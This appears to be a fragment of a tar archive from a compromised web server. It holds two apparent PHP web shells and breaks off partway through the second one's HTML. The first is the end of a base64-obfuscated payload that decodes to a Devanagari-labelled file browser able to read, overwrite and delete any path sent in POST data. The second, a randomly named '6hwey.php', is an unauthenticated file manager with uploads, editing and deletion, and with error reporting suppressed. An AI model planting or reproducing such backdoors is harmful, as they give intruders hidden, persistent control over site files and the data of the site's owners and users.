WydvcHQnXSA9PSAnZWRpdCcpewppZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiRmcCA9IGZvcGVu
KCRfUE9TVFsncGF0aCddLCd3Jyk7CmlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpewplY2hv
ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCk
q+CksuCkpOCkr+CkviDgpKjgpL7gpK4g4KSq4KSw4KS/4KS14KSw4KWN4KSk4KS/4KSk4KSu4KWN
IEZpbGUnKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0n
P3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+Ck
gyEhIScpPC9zY3JpcHQ+IjsKfQpmY2xvc2UoJGZwKTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBP
U1QiPgo8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iOCIgbmFtZT0ic3JjIj4n
Lmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90
ZXh0YXJlYT4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NU
WydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQi
Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i4KSw4KSV4KWN4KS34KWNIiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIG10LTMiPgo8L2Zvcm0+JzsKfQplY2hvICc8
L2NlbnRlcj4nOwp9ZWxzZXsKZWNobyAnPC90YWJsZT48YnIvPjxjZW50ZXI+JzsKaWYoaXNzZXQo
JF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsKaWYoJF9QT1NU
Wyd0eXBlJ10gPT0gJ2RpcicpewppZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpewplY2hvICI8c2Ny
aXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCkq+CksiBE
ZWxldGUgRm9sZGVyJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9j
YXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDg
pY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfWVsc2UgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Zp
bGUnKXsKaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93Lmxv
Y2F0aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgn4KS44KSr4KSyIERlbGV0ZSBGaWxlJyk8
L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIu
JHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwv
c2NyaXB0PiI7Cn0KfQp9CmVjaG8gJzwvY2VudGVyPic7CiRzY2FuZGlyID0gc2NhbmRpcigkcGF0
aCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlLWxnIG10LTIiPgoJPHRhYmxl
IGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI+CgkJPHRoZWFkIGNsYXNzPSJiZy13YXJuaW5nIHRl
eHQtY2VudGVyIj4KCQkJPHRyPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkqOCkvuCkruCkgzwvdGg+
CgkJCQk8dGggc2NvcGU9ImNvbCI+4KSq4KWN4KSw4KSV4KS+4KSw4KSDPC90aD4KCQkJCTx0aCBz
Y29wZT0iY29sIj7gpIbgpJXgpYPgpKTgpL88L3RoPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkheCk
qOClgeCknOCljeCknuCkvuCkquCkpOCljeCksOCkruCljTwvdGg+CgkJCQk8dGggc2NvcGU9ImNv
bCI+4KSo4KS+4KSu4KSq4KSk4KWN4KSwPC90aD48L3RyPjwvdGhlYWQ+CgknOwoJZm9yZWFjaCgk
c2NhbmRpciBhcyAkZGlyKXsKaWYoIWlzX2RpcigkcGF0aC4nLycuJGRpcikgfHwgJGRpciA9PSAn
LicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKZWNobyAnPHRyPgo8dGQgc2NvcGU9ImNvbCI+
PGltZyBzcmM9Imh0dHA6Ly9hdXguaWNvbnNwYWxhY2UuY29tL3VwbG9hZHMvZm9sZGVyLWljb24t
MjU2LTE3ODc2NzI0ODIucG5nIiBjbGFzcz0iaWNvIj4gPGEgaHJlZj0iP3BhdGg9Jy4kcGF0aC4n
LycuJGRpci4nIj4nLiRkaXIuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5Gb2xk
ZXI8L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj4tLTwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1j
ZW50ZXIiPic7CmlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAn
PGZvbnQgY29sb3I9InJlZCI+JzsKZWNobyBwZXJtcygkcGF0aC4nLycuJGRpcik7CmlmKGlzX3dy
aXRhYmxlKCRwYXRoLicvJy4kZGlyKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBl
Y2hvICc8L2ZvbnQ+JzsKCmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPjxmb3Jt
IG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/b3B0aW9uJnBhdGg9Jy4kcGF0aC4nIj4KCTxkaXYgY2xh
c3M9InJvdyI+CgkJPGRpdiBjbGFzcz0iY29sIj4KPHNlbGVjdCBuYW1lPSJvcHQiIGNsYXNzPSJj
dXN0b20tc2VsZWN0Ij4KPG9wdGlvbiB2YWx1ZT0iIj5TZWxlY3Q8L29wdGlvbj4KPG9wdGlvbiB2
YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2htb2QiPkNobW9k
PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InJlbmFtZSI+UmVuYW1lPC9vcHRpb24+Cjwvc2VsZWN0
Pgo8L2Rpdj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImRpciI+Cjxp
bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5hbWUiIHZhbHVlPSInLiRkaXIuJyI+CjxpbnB1dCB0
eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRoLicvJy4kZGlyLiciPgoJPGRp
diBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4g
YnRuLW91dGxpbmUtcHJpbWFyeSBidG4tYmxvY2siPgoJPC9kaXY+Cgk8L2Rpdj4KPC9mb3JtPjwv
dGQ+CjwvdHI+JzsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKaWYoIWlzX2ZpbGUoJHBh
dGguJy8nLiRmaWxlKSkgY29udGludWU7CiRzaXplID0gZmlsZXNpemUoJHBhdGguJy8nLiRmaWxl
KS8xMDI0Owokc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwppZigkc2l6ZSA+PSAxMDI0KXsKJHNpemUg
PSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwp9ZWxzZXsKJHNpemUgPSAkc2l6ZS4nIEtCJzsK
fQoKZWNobyAnPHRyPgo8dGQ+PGltZyBzcmM9Iic7CgkJCQkJJGV4dCA9IHN0cnRvbG93ZXIocGF0
aGluZm8oJGZpbGUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoJCQkJCWlmKCRleHQgPT0gInBocCIp
IHsKCQkJCQkJZWNobwkKCQkJJ2h0dHA6Ly9pLmltZ3VyLmNvbS9lOG1rdlBmLnBuZyInOyAKCQkJ
CQl9ZWxzZWlmICgkZXh0ID09ICJqcGVnIikgewoJCQkJCQllY2hvICdodHRwOi8vaS5pbWd1ci5j
b20vZThta3ZQZi5wbmciJzsgCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAicGwiKSB7CgkJCQkJCWVj
aG8gJ2h0dHA6Ly9pLmltZ3VyLmNvbS9Qbm1YOEg5LnBuZyc7IAoJCQkJCX1lbHNlewoJCQkJCQll
Y2hvICdodHRwOi8vaWNvbnMuaWNvbmFyY2hpdmUuY29tL2ljb25zL3pob29sZWdvL21hdGVyaWFs
LzI1Ni9GaWxldHlwZS1Eb2NzLWljb24ucG5nJzsKCQkJCQl9CgkJCQkJZWNobyAnIiBjbGFzcz0i
aWNvMiI+IDxhIGhyZWY9Ij9maWxlc3JjPScuJHBhdGguJy8nLiRmaWxlLicmcGF0aD0nLiRwYXRo
LiciPicuJGZpbGUuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5GaWxlPC90ZD4K
PHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+Jy4kc2l6ZS4nPC90ZD4KPHRkIGNsYXNzPSJ0ZXh0LWNl
bnRlciI+JzsKaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZmlsZSkpIGVjaG8g
Jzxmb250IGNvbG9yPSJyZWQiPic7CmVjaG8gcGVybXMoJHBhdGguJy8nLiRmaWxlKTsKaWYoaXNf
d3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRmaWxl
KSkgZWNobyAnPC9mb250Pic7CmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJ
PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9vcHRpb24mcGF0aD0nLiRwYXRoLiciPgoJCTxk
aXYgY2xhc3M9InJvdyI+CgkJCTxkaXYgY2xhc3M9ImNvbCI+CjxzZWxlY3QgbmFtZT0ib3B0IiBj
bGFzcz0iY3VzdG9tLXNlbGVjdCI+CjxvcHRpb24gdmFsdWU9IiI+U2VsZWN0PC9vcHRpb24+Cjxv
cHRpb24gdmFsdWU9ImRlbGV0ZSI+RGVsZXRlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImNobW9k
Ij5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJyZW5hbWUiPlJlbmFtZTwvb3B0aW9uPgo8
b3B0aW9uIHZhbHVlPSJlZGl0Ij5FZGl0PC9vcHRpb24+Cjwvc2VsZWN0Pgo8L2Rpdj4KPGlucHV0
IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImZpbGUiPgo8aW5wdXQgdHlwZT0iaGlk
ZGVuIiBuYW1lPSJuYW1lIiB2YWx1ZT0iJy4kZmlsZS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIg
bmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGguJy8nLiRmaWxlLiciPgoJPGRpdiBjbGFzcz0iY29s
Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik9LIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5l
LXByaW1hcnkgYnRuLWJsb2NrIj4KCTwvZGl2PgoJPC9kaXY+CjwvZm9ybT48L3RkPgo8L3RyPic7
Cn0KZWNobyAnPC90YWJsZT4KPC9kaXY+JzsKfQo/PiAgICAgICAgICAKICAgICAgPC9kaXY+CiAg
ICA8L2Rpdj4KICA8L2Rpdj4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20v
anF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1xOGkvWCs5NjVEek8w
clQ3YWJLNDFKU3RRSUFxVmdSVnpwYnpvNXNtWEtwNFlmUnZIKzhhYnRURTFQaTZqaXpvIiBjcm9z
c29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nk
bmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9wb3BwZXIuanMvMS4xNC4zL3VtZC9wb3BwZXIu
bWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1aTVA3clZvM21JeWtWKzIrOUozVUo0NmpCazBXTGFV
QWRuNjg5YUN3b3FiQkppU25qQUsvbDhXdkNXUElQbTQ5IiBjcm9zc29yaWdpbj0iYW5vbnltb3Vz
Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL3N0YWNrcGF0aC5ib290c3RyYXBj
ZG4uY29tL2Jvb3RzdHJhcC80LjEuMy9qcy9ib290c3RyYXAubWluLmpzIiBpbnRlZ3JpdHk9InNo
YTM4NC1DaGZxcXh1WlVDbkpTSzMrTVhtUE5JeUU2WmJXaDJJTXFFMjQxcllpcUp4eU1pWjZPVy9K
bVpRNXN0d0VVTFR5IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICA8c2NyaXB0
PgogICAgJCgiI21lbnUtdG9nZ2xlIikuY2xpY2soZnVuY3Rpb24oZSkgewogICAgICBlLnByZXZl
bnREZWZhdWx0KCk7CiAgICAgICQoIiN3cmFwcGVyIikudG9nZ2xlQ2xhc3MoInRvZ2dsZWQiKTsK
ICAgIH0pOwogIDwvc2NyaXB0PgoKPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCmZ1bmN0aW9uIHBlcm1z
KCRmaWxlKXsKJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAw
KSA9PSAweEMwMDApIHsKLy8gU29ja2V0CiRpbmZvID0gJ3MnOwp9IGVsc2VpZiAoKCRwZXJtcyAm
IDB4QTAwMCkgPT0gMHhBMDAwKSB7Ci8vIFN5bWJvbGljIExpbmsKJGluZm8gPSAnbCc7Cn0gZWxz
ZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKLy8gUmVndWxhcgokaW5mbyA9ICct
JzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewovLyBCbG9jayBzcGVj
aWFsCiRpbmZvID0gJ2InOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7
Ci8vIERpcmVjdG9yeQokaW5mbyA9ICdkJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09
IDB4MjAwMCkgewovLyBDaGFyYWN0ZXIgc3BlY2lhbAokaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgk
cGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewovLyBGSUZPIHBpcGUKJGluZm8gPSAncCc7Cn0g
ZWxzZSB7Ci8vIFVua25vd24KJGluZm8gPSAndSc7Cn0KCi8vIE93bmVyCiRpbmZvIC49ICgoJHBl
cm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/
ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CigoJHBlcm1zICYgMHgw
ODAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7Cgov
LyBHcm91cAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaW5mbyAu
PSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4
MDAwOCkgPwooKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CigoJHBlcm1zICYgMHgw
NDAwKSA/ICdTJyA6ICctJykpOwoKLy8gV29ybGQKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQp
ID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsK
JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDog
J3gnICkgOgooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCnJldHVybiAkaW5mbzsK
fQo/Pg=="));?>6hwey.php000064400000045544151550052240006332 0ustar00<?php
// file_manager.php - Simple File Manager with Back Button
session_start();
error_reporting(0);

// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);

// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
    $path = str_replace('..', '', $path);
    $path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
    return trim($path, '/');
}

function safe_realpath_within($path, $allowed_root){
    $rp = realpath($path);
    if($rp === false) return false;
    
    $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
        return $rp;
    }
    return false;
}

function get_file_list($dir){
    $files = [];
    if(is_dir($dir)){
        $items = scandir($dir);
        foreach($items as $item){
            if($item === '.' || $item === '..') continue;
            $full_path = $dir . DIRECTORY_SEPARATOR . $item;
            $files[] = [
                'name' => $item,
                'path' => $full_path,
                'size' => is_file($full_path) ? filesize($full_path) : 0,
                'type' => is_dir($full_path) ? 'directory' : 'file',
                'modified' => date('Y-m-d H:i:s', filemtime($full_path))
            ];
        }
    }
    return $files;
}

function format_size($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);

if($current_dir === false){
    $requested_dir = basename($base_dir);
    $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
    if($current_dir === false){
        $requested_dir = '';
        $current_dir = safe_realpath_within($root_anchor, $root_anchor);
    }
}

// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
    $parent_dir = dirname($requested_dir);
    if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
    $parent_dir = '';
}

// ==================== BREADCRUMB ====================
$dir_parts = [];
if($requested_dir !== ''){
    $parts = explode('/', $requested_dir);
    $acc = '';
    foreach($parts as $p){
        if($p === '') continue;
        $acc .= ($acc === '' ? '' : '/') . $p;
        $dir_parts[] = ['name' => $p, 'path' => $acc];
    }
}

// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';

switch($action){
    case 'view':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Type: text/plain');
            readfile($file_path);
            exit;
        }
        break;

    case 'edit':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $content = $_POST['content'] ?? '';
            if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
                file_put_contents($file_path, $content);
            }
            header('Location: ?action=list&dir=' . urlencode($requested_dir));
            exit;
        }
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            $content = htmlspecialchars(file_get_contents($file_path));
            echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
            echo "<h2>✏️ Edit: ".htmlspecialchars($file)."</h2>";
            echo "<form method='post'>";
            echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
            echo "<button type='submit'>💾 Save</button> ";
            echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>🚫 Cancel</a>";
            echo "</form></body></html>";
            exit;
        }
        break;

    case 'delete':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
            if(is_dir($file_path)){
                $it = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                foreach($it as $f){
                    $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
                }
                rmdir($file_path);
            } else {
                unlink($file_path);
            }
        }
        header('Location: ?action=list&dir=' . urlencode($requested_dir));
        exit;
        break;

    case 'upload':
        if(!empty($_FILES['file'])){
            $uploaded = $_FILES['file'];
            if($uploaded['error'] === UPLOAD_ERR_OK){
                $name = basename($uploaded['name']);
                $dest = $current_dir . DIRECTORY_SEPARATOR . $name;
                if(safe_realpath_within(dirname($dest), $root_anchor)){
                    move_uploaded_file($uploaded['tmp_name'], $dest);
                    @chmod($dest, 0644);
                }
            }
        }
        header('Location: ?action=list&dir=' . urlencode($requested_dir));
        exit;
        break;

    case 'download':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
            header('Content-Length: '.filesize($file_path));
            readfile($file_path);
            exit;
        }
        break;

    case 'create_folder':
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $folder = sanitize_path($_POST['folder_name'] ?? '');
            if($folder){
                $fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
                if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
                    mkdir($fp, 0755, true);
                }
            }
        }
        header('Location: ?action=list&dir=' . urlencode($requested_dir));
        exit;
        break;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>📁 File Manager</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: white;
            border-radius: 15px;
            box-shadow: 0 20px 40px rgba(0,0,0,0.1);
            overflow: hidden;
        }
        
        .header {
            background: linear-gradient(135deg, #2c3e50, #34495e);
            color: white;
            padding: 25px;
            text-align: center;
        }
        
        .header h1 {
            font-size: 2.2em;
            margin-bottom: 10px;
            font-weight: 300;
        }
        
        .current-path {
            font-family: 'Courier New', monospace;
            background: rgba(255,255,255,0.1);
            padding: 10px;
            border-radius: 8px;
            margin: 15px 0;
            word-break: break-all;
        }
        
        .navigation {
            background: #ecf0f1;
            padding: 20px;
            border-bottom: 1px solid #bdc3c7;
        }
        
        .btn {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            padding: 12px 20px;
            background: #3498db;
            color: white;
            text-decoration: none;
            border-radius: 8px;
            font-weight: 500;
            transition: all 0.3s ease;
            border: none;
            cursor: pointer;
            font-size: 14px;
        }
        
        .btn:hover {
            background: #2980b9;
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(0,0,0,0.2);
        }
        
        .btn-secondary {
            background: #95a5a6;
        }
        
        .btn-secondary:hover {
            background: #7f8c8d;
        }
        
        .btn-danger {
            background: #e74c3c;
        }
        
        .btn-danger:hover {
            background: #c0392b;
        }
        
        .btn-success {
            background: #27ae60;
        }
        
        .btn-success:hover {
            background: #219a52;
        }
        
        .toolbar {
            display: flex;
            gap: 15px;
            flex-wrap: wrap;
            margin-bottom: 20px;
        }
        
        .breadcrumb {
            background: #f8f9fa;
            padding: 15px 25px;
            border-bottom: 1px solid #dee2e6;
        }
        
        .breadcrumb a {
            color: #3498db;
            text-decoration: none;
        }
        
        .breadcrumb span {
            color: #7f8c8d;
            margin: 0 8px;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
        }
        
        .file-table th {
            background: #34495e;
            color: white;
            padding: 15px;
            text-align: left;
            font-weight: 500;
        }
        
        .file-table td {
            padding: 15px;
            border-bottom: 1px solid #ecf0f1;
        }
        
        .file-table tr:hover {
            background: #f8f9fa;
        }
        
        .file-icon {
            width: 20px;
            text-align: center;
            margin-right: 10px;
        }
        
        .folder-row {
            background: #f0f8ff;
        }
        
        .folder-row:hover {
            background: #e3f2fd !important;
        }
        
        .action-buttons {
            display: flex;
            gap: 8px;
            flex-wrap: wrap;
        }
        
        .empty-folder {
            text-align: center;
            padding: 60px 20px;
            color: #7f8c8d;
        }
        
        .empty-folder i {
            font-size: 3em;
            margin-bottom: 20px;
            display: block;
        }
        
        .upload-form, .folder-form {
            display: flex;
            gap: 10px;
            align-items: center;
        }
        
        input[type="text"], input[type="file"] {
            padding: 10px;
            border: 1px solid #bdc3c7;
            border-radius: 6px;
            font-size: 14px;
        }
        
        input[type="text"] {
            min-width: 200px;
        }
        
        @media (max-width: 768px) {
            .toolbar {
                flex-direction: column;
            }
            
            .upload-form, .folder-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .action-buttons {
                flex-direction: column;
            }
            
            .btn {
                justify-content: center;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>📁 File Manager</h1>
            <div class="current-path">
                📍 <?= htmlspecialchars($current_dir) ?>
            </div>
        </div>
        
        <div class="navigation">
            <div class="toolbar">
                <!-- Back Button -->
                <a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">
                    ⬅️ Back
                </a>
                
                <!-- Home Button -->
                <a class="btn btn-secondary" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">
                    🏠 Project
                </a>
                
                <!-- Root Button -->
                <a class="btn btn-secondary" href="?action=list&dir=">
                    📂 Root
                </a>
                
                <!-- Upload Form -->
                <form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" class="upload-form">
                    <input type="file" name="file" required>
                    <button class="btn btn-success" type="submit">📤 Upload</button>
                </form>
                
                <!-- Create Folder Form -->
                <form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" class="folder-form">
                    <input type="text" name="folder_name" placeholder="New Folder Name" required>
                    <button class="btn btn-success" type="submit">📁 Create Folder</button>
                </form>
            </div>
        </div>
        
        <div class="breadcrumb">
            <a href="?action=list&dir=">Root</a>
            <?php foreach($dir_parts as $p): ?>
                <span>›</span>
                <a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
            <?php endforeach; ?>
        </div>
        
        <?php
        $files = get_file_list($current_dir);
        if(empty($files)): 
        ?>
            <div class="empty-folder">
                <i>📭</i>
                <h3>This folder is empty</h3>
                <p>Upload files or create new folders to get started</p>
            </div>
        <?php else: ?>
            <table class="file-table">
                <thead>
                    <tr>
                        <th>Name</th>
                        <th>Type</th>
                        <th>Size</th>
                        <th>Modified</th>
                        <th>Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach($files as $f): ?>
                        <tr class="<?= $f['type'] === 'directory' ? 'folder-row' : '' ?>">
                            <td>
                                <span class="file-icon">
                                    <?= $f['type'] === 'directory' ? '📁' : '📄' ?>
                                </span>
                                <?= htmlspecialchars($f['name']) ?>
                            </td>
                            <td><?= $f['type'] ?></td>
                            <td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
                            <td><?= $f['modified'] ?></td>
                            <td>
                                <div class="action-buttons">
                                    <?php if($f['type'] === 'directory'): 
                                        $next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
                                    ?>
                                        <a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">
                                            📂 Open
                                        </a>
                                    <?php else: ?>
                                        <a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">
                                            ✏️ Edit
                                        </a>
